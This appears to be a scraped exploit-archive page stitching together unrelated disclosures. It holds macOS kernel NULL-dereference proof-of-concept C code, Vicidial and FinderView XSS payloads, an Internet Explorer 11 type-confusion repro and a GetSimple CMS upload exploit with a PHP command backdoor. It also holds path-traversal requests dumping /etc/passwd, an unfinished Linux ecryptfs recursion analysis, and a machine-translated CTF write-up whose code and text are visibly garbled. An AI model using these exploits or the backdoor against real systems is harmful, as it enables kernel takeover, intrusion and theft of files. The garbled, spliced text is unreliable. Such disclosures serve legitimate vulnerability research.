  IOServiceClose(conn);
  
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for (;;) {
    poc();
  }

  return 0;
}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=778

IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
A series of dereferences from this pointer lead to trivial RIP control.

We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
this+0x100.

By mapping the NULL page into userspace we can control the pointer read.

tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

//ianbeer

//clang -o ioaccel_race ioaccel_race.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL dereference in IOAccelSharedUserClient2::page_off_resource

IOAccelerator external method IOAccelSharedUserClient2::page_off_resource uses the pointer at this+0x100 without checking if it's NULL.
A series of dereferences from this pointer lead to trivial RIP control.

We can race two threads, in one call the external method and in the other call IOServiceClose, which NULLs out the pointer at
this+0x100.

By mapping the NULL page into userspace we can control the pointer read.

tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 2;
  inputScalarCnt = 0;
  inputStructCnt = 8; 
  outputScalarCnt = 0;
  outputStructCnt = 0;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

void poc(){
  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("IntelAccelerator", 6);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);
  pthread_join(t, NULL);
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\x41';
  }

  for(;;) {
    poc();
  }
  return 0;

}
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=777

Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.

If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/

// ianbeer

//clang -o CoreCaptureNull CoreCaptureNull.c -framework IOKit -m32 -lpthread -pagezero_size 0x0

/*
OS X exploitable kernel NULL dereference in CoreCaptureResponder due to unchecked return value

Pretty much all the external methods of CoreCaptureUserClient call CoreCaptureUserClient::stashGet passing an attacker controlled key.

If that key isn't in the list of stashed objects then stashGet returns a NULL pointer. No callers actually check
the return value though which leads immediately to a call to a virtual method on a NULL pointer. By mapping the NULL
page we can get trivial RIP control.

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2
*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>
    
unsigned int selector = 0;

uint64_t inputScalar[16];
size_t inputScalarCnt = 0;

uint8_t inputStruct[40960];
size_t inputStructCnt = 0; 

uint64_t outputScalar[16] = {0};
uint32_t outputScalarCnt = 0;

char outputStruct[40960] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;

void set_params(io_connect_t conn){
  global_conn = conn;
  selector = 0;
  inputScalarCnt = 4;
  inputStructCnt = 0; 
  outputScalarCnt = 16;
  outputStructCnt = 40960;  
}

void make_iokit_call(){  
  IOConnectCallMethod(
      global_conn,
      selector,
      inputScalar,
      inputScalarCnt,
      inputStruct,
      inputStructCnt,
      outputScalar,
      &outputScalarCnt,
      outputStruct,
      &outputStructCnt);
}

OSSpinLock lock = OS_SPINLOCK_INIT;

void* thread_func(void* arg){
  int got_it = 0;
  while (!got_it) {
    got_it = OSSpinLockTry(&lock);
  }

  // usleep(1);

  make_iokit_call();
  return NULL;
}

mach_port_t get_user_client(char* name, int type) {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching(name);
  if(!matching){
   printf("unable to create service matching dictionary\n");
   return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
   printf("no matches\n");
   return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
   printf("unable to find service\n");
   return 0;
  }
  printf("got service: %x\n", service);


  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
   printf("unable to get user client connection\n");
   return 0;
  }

  printf("got userclient connection: %x\n", conn);

  return conn;
}

int main(int argc, char** argv){
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = '\xff';
  }

  *((uint64_t*)0x28) = 0xffffff4141414141;


  OSSpinLockLock(&lock);

  pthread_t t;
  pthread_create(&t, NULL, thread_func, NULL);


  mach_port_t conn = get_user_client("IOAudioEngine", 0);
  
  set_params(conn);
  OSSpinLockUnlock(&lock);
  IOServiceClose(conn);

}
HireHackking 
# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS
# Date: 0 day
# Exploit Author: David Silveiro
# Exploit Author Github: github.com/davidsilveiro
# Vendor Homepage: http://vicidial.org
# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download


Vicidial is a popular opensource software, used throughout many different sectors,
such as; call centers for inbound & outband calling.

The vulnerablility is triggered when an authenticated with user sufficient permissions, 
creates a script (small text document that the agents use for remembering lines)without 
sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature 
of how widely this script can be set, for example a whole Tele-marketing campaign or specific
 agent, it could very easily be used to infect other hosts on the Network.

POC:

http://localhost.com/vicidial_demo/admin.php?ADD=1111111

POST Data (script_name & script_text); 

ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&
active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT

Click 'Preview Script'

    <html>

    <head></head>
    <body bgcolor="white" marginwidth="0" marginheight="0" topmargin="0" leftmargin="0">
        <font size="2" color="BLACK" face="ARIAL,HELVETICA">
            <font size="2" color="BLACK" face="ARIAL,HELVETICA">

                Preview Script: 1017

                <br></br>
                <table width="600">
                    <tbody>
                        <tr>
                            <td>
                                <center>
                                <script>

                                    alert('XSS!')

                                </script>
                                    <br></br>
                                </center>
                                <script>

                                    alert('XSS 2!')

                                </script>
                            </td>
                        </tr>
                    </tbody>
                </table>
            </font>
        </font>
    </body>
    </html>
HireHackking 
<!--
CVE-2016-0199 / MS16-063: MSIE 11 garbage collector attribute type confusion
============================================================================
This information is available in an easier to read format on my blog at
http://blog.skylined.nl/

With [MS16-063] Microsoft has patched [CVE-2016-0199]: a memory
corruption bug
in the garbage collector of the JavaScript engine used in Internet
Explorer 11.
By exploiting this vulnerability, a website can causes this garbage
collector
to handle some data in memory as if it was an object, when in fact it
contains
data for another type of value, such as a string or number. The garbage
collector code will use this data as a virtual function table (vftable)
in order
to make a virtual function call. An attacker has enough control over
this data
to allow execution of arbitrary code.

Known affected software and attack vectors
------------------------------------------
+ **Microsoft Internet Explorer 11** (all versions before the June 2016
patch)

  An attacker would need to get a target user to open a specially crafted
  webpage. Disabling JavaScript should prevent an attacker from
triggering the
  vulnerable code path.

Repro
-----
I've created two separate html files that can be used to reproduce this
issue
and shows control over a 32-bit vftable pointer in x86 versions of MSIE or a
partial control over a 64-bit vftable pointer in x64 versions.
-->

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=7">
<script>
  oElement = document.createElement("IMG");
  var oAttr = document.createAttribute("loop");
  oAttr.nodeValue = oElement;
  oElement.loop = 0x41424344; // Set original value data to 44 43 42 41
  oElement.setAttributeNode(oAttr); // Replace oElement with original value data
  oElement.removeAttributeNode(oAttr);
  CollectGarbage(); // Use original value data as address 0x41424344 of a vftable
</script>

<!--
(I've had to use xcript rather than script because Gmail refused to send it
otherwise, see https://support.google.com/mail/answer/6590 for the reason.)

Description
-----------
When `setAttributeNode` is used to set an attribute of a HTML element,
and the
`Attr` node's `nodeValue` is not a valid value, this `nodeValue` is set
to the
value the attribute had before the call. This can happen for instance
when you
try to set an attribute that must have a string or number value by using an
`Attr` node with a HTML element as its `nodeValue` (as this is not a
string or
number). The HTML element in `nodeValue` is replaced with the string or
number
value the attribute had before the call to `setAttributeNode`.

If the `Attr` node is then removed using `removeAttributeNode` and the
garbage
collector runs, the code appears to assume the nodeValue still contains an
object, rather than the string or number it has been changed into. This
causes
the code to use the data for the string or number value as if it was a C++
object. It attempts to determine a function pointer for a method from the
object's virtual function table before calling this function using the
pointer.

If the previous value is a string, the character data from the string is
used
to calculate the function pointer. If the previous value is a number,
the value
of the number is used. This provides an attacker with a large amount of
control
over the function pointer and may allow execution of arbitrary code.

Scanner
-------
I build a "scanner" to analyze this issue and help create two
proof-of-concept
files that show control over the vftable pointer. More details and the
source
for these can be found on my blog at http://blog.skylined.nl.
-->
HireHackking 
# Exploit Title: Getsimple CMS <= 3.3.10 Arbitrary File Upload Vulnerability
# Google Dork: -
# Date: 23/06/2016
# Exploit Author: s0nk3y
# Vendor Homepage: http://get-simple.info/
# Category: webapps
# Software Link: http://get-simple.info/data/uploads/releases/GetSimpleCMS-3.3.10.zip
# Version: 3.3.10
# Tested on: Ubuntu 16.04 / Mozilla Firefox
# Twitter: http://twitter.com/s0nk3y
# Linkedin: Rahmat Nurfauzi - http://linkedin.com/in/rahmatnurfauzi

Description
========================

GetSimple CMS has been downloaded over 120,000 times (as of March 2013). 
The magazine t3n assigns GetSimple as "micro" and "Minimal-CMS" one, praises 
the simplicity yet possible extensibility through plug-ins.

Vulnerability
========================

GetSimpleCMS Version 3.3.10 suffers from arbitrary file upload vulnerability 
which allows an attacker to upload a backdoor.

This vulnerability is that the application uses a blacklist and whitelist 
technique to compare the file against mime types and extensions.

Proof of Concept
========================

For exploiting this vulnerability we will create a file by adding the percent 
behind extension.
1. evil.php% <--- this is simple trick :)
<?php
// simple backdoor
system($_GET['cmd']);
?>
2. An attacker login to the admin page and uploading the backdoor
3. The uploaded file will be under the "/data/uploads/" folder

Report Timeline
========================
2016-06-23 : Vulnerability reported to vendor
2016-06-23 : Disclosure
HireHackking

web

easywill

問題解決策

湖湘杯-WriteUp

可変オーバーレイ

http://ECI-2ZEJ1GOYN9JH8HTY6TON.CLOUDECI1.ICUNQIU.COM/?NAME=CFILEVALUE=/ETC/PASSWD

Psychological Blogの最近の記事はPearcmd：https://ttang.com/archive/1312/を利用しています

湖湘杯-WriteUp 湖湘杯-WriteUp 湖湘杯-WriteUp

秋のペンテスト

問題を解決するためのアイデア

http://ECI-2ZE40JM526Y24NV2LKL3.CLOUDECI1.ICUNQIU.com:88888/許可バイパス/;/アクチュエーター/env/;/アクチュエーター/heapdump

湖湘杯-WriteUp復号化スクリプト

ImportBase64

intervertruct

print（base64.b64encode（struct.pack（ 'bbbbbbbbbbbbbbbbbb'、-126、-67,24、-71、-62、-122,61、-52,91,77）、-110,115、-43,100、-88,103）））））

＃gr0yuckgpcxbtzjz1wsozw==湖湘杯-WriteUpflag {3fa31850-8ee6-40f2-9b18-9ecf6cac176c}

逆

hideit

問題解決策

開いた後、SMCがあることがわかりました。単一のステップのデバッグでメイン関数が見つかりません。

出力文字列、パットの下のブレークポイントを発見し、2回目のブレークの後、メイン関数に戻り、関数ヘッダーに移動して、逆コンパイル

__int64__fastcallsub_24d61161bb0（__ int64a1）

{

//.

if（！（unsignedint）off_24d61163000（-2147483646i64、asoftwareclasse、v24））

{

V23=0;

（（void（__ fastcall*）（char*、_ qword、__ int64））unk_24d61162a0c）（v21,0i64,520i64）;

V22=66;

if（！（unsignedint）off_24d61163008（v24、akeyssecret、0i64、v23、v21、v22））

OFF_24D61163020（0I64,0I64、V21,0XFFFFFFFFI64、V14,260,0I64,0I64）;

}

OFF_24D611630F8（AfirstSecrether）;

V10=0i64;

v11=0;

（（void（__ fastcall*）（void*、__ int64*））unk_24d61161b50）（unk_24d6116324c、v10）;

V12=0i64;

strcpy（（char*）v12、（constchar*）v10）;

V13 [0]=114;

v13 [1]=514;

V13 [2]=19;

V13 [3]=19;

（（void（__ fastcall*）（char*、_ qword、__ int64））unk_24d61162a0c）（v20,0i64,512i64）;

v3=hidword（v12）;

V4=32;

v5=v12;

v6=hidword（v12）;

v7=0;

する

{

V7-=1640531527;

v8=（v72）3;

v5+=（（v7^v3）+（v6^v13 [v8]））^（（（（16*v6）^（v33））+（（v65）^（4*v3）））;

v3+=（（v7^v5）+（v5^v13 [v8^1]））^（（（（16*v5）^（v53））+（（v55）^（4*v5）））;

v6=v3;

-v4;

}

while（v4）;

if（v5==288407067v3==1668576323）

{

V17=0I64;

v18=（unsigned__int8）v10 |（（byte1（v10）|（word1（v10）8））8）;

v19=byte4（v10）|（（byte5（v10）|（hiword（v10）8））8）;

（（void（__ fastcall*）（_ dword*、__ int64））unk_24d61161000）（v16、a1）; //key extension

sub_24d61161150（V16、V14、V20）; //2番目のステップ暗号化

while（byte_24d611631d0 [v2]==v20 [v2]）

{

if（++ v2=32）

RETURNOFF_24D611630F8（AYOUFINDLASTSEC）;

}

}

return0i64;

}最初にクラスティー暗号化を実行します。これらの8つの単語がメソッドに準拠している場合は、暗号化の2番目のステップを実行します。クラスティー暗号化は弦のdotitsitをデコードし、2番目の段落は次のように暗号化されます

_DWORD*__ FASTCALLSUB_24D61161150（_DWORD*a1、__ int128*a2、_byte*a3）

{

//.

if（a2）

{

v13=（char*）a2-（char*）v122;

V14=V122;

する

{

*（_ byte*）v14=*（（_ byte*）v14+v13）;

v14=（__ int128*）（（char*）v14+1）;

-v11;

}

while（v11）;

V127=V122;

}

//keyoperation

（1）

{

//keyoperation

}

//.

if（v127）

{

//ここでブレークポイントを準備し、V76の値を表示します.

v76^=*（unsigned__int8*）v127 |（（*（（（（unsigned __int8*）v127+1）|（*（（unsigned__int16*）v127+1）8）8）;

v77^=*（（unsigned__int8*）v127+4）|（（*（（（（unsigned __int8*）v127+5）|（*（（unsigned__int16*）v127+3）8）8）;

v78^=*（（unsigned__int8*）v127+8）|（（*（（（（（unsigned __int8*）v127+9）|（*（（unsigned__int16*）v127+5）8）8）;

v79^=*（（unsigned__int8*）v127+12）|（（*（（（（（unsigned））v127+13）|（（（unsigned__int16*）v127+7）8）8）;

v80^=*（（unsigned__int8*）v127+16）|（（*（（（（unsigned __int8*）v127+17）|（*（（unsigned__int16*）v127+9）8）8）;

v129^=*（（unsigned__int8*）v127+20）|（（*（（（unsigned__int8*）v127+21）|（*（（unsigned__int16*）v127+11）8）8）;

lodword（v97）=（*（（unsigned__int8*）v127+24）|（（*（（unsigned__int8*）v127+25）|（*（（unsigned__int16*）v127）

+13）8））8））^V97;

hidword（v97）^=*（（unsigned__int8*）v127+28）|（（*（（unsigned__int8*）v127+29）|（*（（unsigned__int16*）v127）

+15）8））8）;

v81^=*（（unsigned__int8*）v127+32）|（（*（（（（unsigned __int8*）v127+33）|（*（（unsigned__int16*）v127+17）8）8）;

v86^=*（（unsigned__int8*）v127+36）|（（*（（（（（unsigned））v127+37）|（*（（unsigned__int16*）v127+19）8）8）;

v87^=*（（unsigned__int8*）v127+44）|（（*（（（unsigned__int8*）v127+45）|（*（（unsigned__int16*）v127+23）8）8）;

v82^=*（（unsigned__int8*）v127+48）|（（*（（（unsigned__int8*）v127+49）|（*（（unsigned__int16）v127+25）8）8）;

v83^=*（（unsigned__int8*）v127+52）|（（*（（（unsigned__int8*）v127+53）|（*（（unsigned__int16*）v127+27）8）8）;

v84^=*（（unsigned__int8*）v127+56）|（（*（（（（unsigned __int8*）v127+57）|（*（（unsigned__int16*）v127+29）8）8）;

v85^=*（（unsigned__int8*）v127+60）|（（*（（（（（（unsigned））__int8*）v127+61）|（*（（unsigned__int16*）v127+31）8）8）;

v75^=*（（unsigned__int8*）v127+40）|（（*（（（（（unsigned __int8*）v127+41）|（*（（unsigned__int16*）v127+21）8）8）;

}

//データコピー

する

{

*v90=v90 [（char*）v122-a3];

++ V90;

-v91;

}

while（v91）;

結果=a1;

A1 [12]=V105;

A1 [13]=V100;

returnResult;

}この関数は複雑に見えますが、実際にはキーで非常に複雑な操作を実行し、入力を使用してXORを実行することです。

exp

＃includestdio.h＃includestdlib.h

＃includeinttypes.h

＃includestring.h

＃include'defs.h '

＃includestdint.h

voiddecrypt（uint32_t*v）

{

UINT32_TV7、V8、V6、V5、V4、V3;

V4=32;

uint32_tv11 []={114,514,19,19};

V7=0x9E3779B9*32;

v5=0x1130be1b;

V3=0x63747443; do

{

v8=（v72）3;

v3 - =（（v7^v5）+（v5^v11 [v8^1]））^（（（16*v5）^（v53）+（（v55）^（4*v5）））;

v6=v3;

v5 - =（（v7^v3）+（v6^v11 [v8]））^（（（（16*v6）^（v33））+（（v65）^（4*v3）））;

-v4;

v7-=0x9e3779b9;

} while（v4）;

V [0]=V5;

V [1]=V3;

}

intmain（）

{

uint32_tk []={114,514,19,19};

uint8_tp []='12345678';

uint32_tc []={288407067,1668576323};

Decrypt（c）;

printf（ '％sn'、c）;

for（size_ti=0; i8; i ++）

{

printf（ '0x％02x、'、*（uint8_t*）c [i]）;

}

printf（ 'n'）;

Charkey []='Expand32-bytek0n3@ayi_m3l0dy_kurom1_w_suk1dqy0x01x00x00x00x00x00x00x00x00x00x00x00x00x00x00dotitit';

uint8_tdata []={0xeb、0x8e、0x5c、0xa5,0x62,0xb4,0x1c、0x84,0x5c、0x59,0xfc、0xd、0x43,0x3c、0x Ab、0x20,0xd8,0x93,0x33,0x13,0xa1,0x9e、0x39,0x0,0x76,0x14,0xb55,0x4,0x58,0x9d、0x6,0xb8};

uint8_tres [128]={0};

uint32_tk0=0xc23de28d;

uint32_t*d=（uint32_t*）data;

d [0]^=k0;

d [1]^=0xca2df219;

d [2]^=0x52cf1418;

d [3]^=0x139c5a77;

d [4]^=0x5b04ccaa;

d [5]^=0x680cc192;

d [6]^=0x47f95845;

d [7]^=0xc535d968;

printf（ '％sn'、d）;

}

シェル

問題解決のアイデア

子のプロセスは主に作成され、親子プロセスは廃止されます。子プロセスをダンプするプログラムを見つけます。 https://github.com/glmcdona/process-dump

PD-PIDチャイルドプロセスPID子プロセスPIDをデバッグして、次のようにIDAオープンダンプの後に子プロセスを取得できる

.text:000001fa6c311160pushrsi

.text:000001fa6c311161pushrdi

.text:000001fa6c311162subrsp、28h

.text:000001fa6c311166666666666666666666666666666666

.text:000001fa6c31116dcallsub_1fa6c3112b0

.text:000001fa6c311172learcx、a42s; '％42s'

.text:000001fa6c311179 learsi、nown_string;これは0x40A0です

.text:000001fa6c311180movrdx、rsi

.text:000001fa6c311183callscanf

.text:000001fa6c311188int3; traptodebugger

.text:000001FA6C311189;---------------------------------------------------------------------------

.text:000001fa6c311189movrcx、rsi; str

.text:000001FA6C31118CCALLSTRLEN

.text:000001fa6c31191cmmprax、0c9h

.text:000001fa6c311197jbshortnearptrunk_1fa6c31119e

.text:000001fa6c31199callsub_1fa6c311020

.text:000001FA6C311199;---------------------------------------------------------------------------

.text:000001fa6c31119eunk_1fa6c31119edb0c4h; codexref:main+37↑j

.text:000001fa6c31119fdb12hメインプロセスでのデバッグ機能と組み合わせた

int__fastcallsub_7ff6c56b1560（_dword*a1）

{

//.

if（*a1==0x80000003）

{

V5=QWORD_7FF6C56B5630;

if（qword_7ff6c56b5630）

{

Context.ContextFlags=1048587;

if（！getThreadContext（hthread、context））

{

v6=getLasterRor（）;

printf（ 'getThreadContextFailed:％llxn'、v6）;

}

readprocessmemory（hprocess、（lpcvoid）（qword_7ff6c56b5638+0x40a0）、v13,0x2aui64、numberofbytesRead）;

v7=_mm_load_si128（（const__m128i*）xmmword_7ff6c56b3420

HireHackking 
# Exploit Title: XuezhuLi FileSharing - Path Traversal Vulnerability
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/XuezhuLi
# Software Link: https://github.com/XuezhuLi/FileSharing/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability
 1. download.php -> file_name parameter
 2. viewing.php  -> file_name parameter

### Vulnerability 1 - download.php
GET /vul_test/FileSharing/download.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96992031.1679083892.1466384142.1466384142.1466398535.2; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1466565345; bdshare_firstime=1466565462740; PHPSESSID=uetimns4scbtk46c8m6ab7upp1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 06:17:58 GMT
..snip..
Content-Type: application/octet-stream


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

# ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
### Vulnerability 2 - viewing.php
GET /vul_test/FileSharing/viewing.php?file_name=../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/vul_test/FileSharing/userpage.php
Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; __utma=96992031.1679083892.1466384142.1466384142.1466398535.2; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __atuvc=1%7C25; Hm_lvt_7b43330a4da4a6f4353e553988ee8a62=1466565345; bdshare_firstime=1466565462740; PHPSESSID=uetimns4scbtk46c8m6ab7upp1
Connection: keep-alive

HTTP/1.1 200 OK
Date: Thu, 23 Jun 2016 06:19:49 GMT
Server: Apache/2.4.10 (Ubuntu)
..snip..
Content-Type: text/plain;charset=UTF-8

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
HireHackking 
# Exploit Title: FinderView - Multiple Vulnerability(Path Traversal/Reflected XSS)
# Date: 2016-06-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: https://github.com/proin/
# Software Link: https://github.com/proin/FinderView/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability1 - Path Traversal(view directory)
Request
GET /vul_test/FinderView/api.php?callback=jQuery21107685743998649676_1466662516225&type=get&mode=0&folder=Li4vLi4vLi4vLi4vLi4vLi4vZXRjLw==&_=1466662516227 HTTP/1.1
Host: 127.0.0.1
..snip..
Connection: keep-alive

Response
jQuery21107685743998649676_1466662516225([{"folders":[{"name":"backups","folderuri":"Li4vLi4vLi4vLi4vYmFja3Vwcw==","folderuri_nobase":"../../../../backups","size":"0.0 KB","date":"15 June 2016"},
..snip..
,{"name":"opt","folderuri":"Li4vLi4vLi4vLi4vb3B0","folderuri_nobase":"../../../../opt","size":"0.0 KB","date":"26 August 2015"},{"name":"run","folderuri":"Li4vLi4vLi4vLi4vcnVu","folderuri_nobase":"../../../../run","size":"0.0 KB","date":"23 June 2016"},{"name":"spool","folderuri":"Li4vLi4vLi4vLi4vc3Bvb2w=","folderuri_nobase":"../../../../spool","size":"0.0 KB","date":"26 August 2015"},{"name":"tmp","folderuri":"Li4vLi4vLi4vLi4vdG1w","folderuri_nobase":"../../../../tmp","size":"0.0 KB","date":"23 June 2016"},{"name":"www","folderuri":"Li4vLi4vLi4vLi4vd3d3","folderuri_nobase":"../../../../www","size":"0.0 KB","date":"22 January

### Vulnerability2 - Reflected XSS
http://127.0.0.1/vul_test/FinderView/api.php?callback=jQuery211027821724654516156_1466662510279}}1c027%3Cscript%3Ealert%281%29%3C%2fscript%3Ecf2ea&type=get&mode=0&_=1466662510280
HireHackking 
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=836

Stacking filesystems, including ecryptfs, protect themselves against
deep nesting, which would lead to kernel stack overflow, by tracking
the recursion depth of filesystems. E.g. in ecryptfs, this is
implemented in ecryptfs_mount() as follows:

	s->s_stack_depth = path.dentry->d_sb->s_stack_depth + 1;

	rc = -EINVAL;
	if (s->s_stack_depth > FILESYSTEM_MAX_STACK_DEPTH) {
		pr_err("eCryptfs: maximum fs stacking depth exceeded\n");
		goto out_free;
	}


The files /proc/$pid/{mem,environ,cmdline}, when read, access the
userspace memory of the target process, involving, if necessary,
normal pagefault handling. If it was possible to mmap() them, an
attacker could create a chain of e.g. /proc/$pid/environ mappings
where process 1 has /proc/2/environ mapped into its environment area,
process 2 has /proc/3/environ mapped into its environment area and so
on. A read from /proc/1/environ would invoke the pagefault handler for
process 1, which would invoke the pagefault handler for process 2 and
so on. This would, again, lead to kernel stack overflow.


One interesting fact about ecryptfs is that, because of the encryption
involved, it doesn't just forward mmap to the lower file's mmap
operation. Instead, it has its own page cache, maintained using the
normal filemap helpers, and performs its cryptographic operations when
dirty pages need to be written out or when pages need to be faulted
in. Therefore, not just its read and write handlers, but also its mmap
handler only uses the lower filesystem's read and write methods.
This means that using ecryptfs, you can mmap [decrypted views of]
files that normally wouldn't be mappable.

Combining these things, it is possible to trigger recursion with
arbitrary depth where:

a reading userspace memory access in process A (from userland or from
    copy_from_user())
causes a pagefault in an ecryptfs mapping in process A, which
causes a read from /proc/{B}/environ, which
causes a pagefault in an ecryptfs mapping in process B, which
causes a read from /proc/{C}/environ, which
causes a pagefault in an ecryptfs mapping in process C, and so on.

On systems with the /sbin/mount.ecryptfs_private helper installed
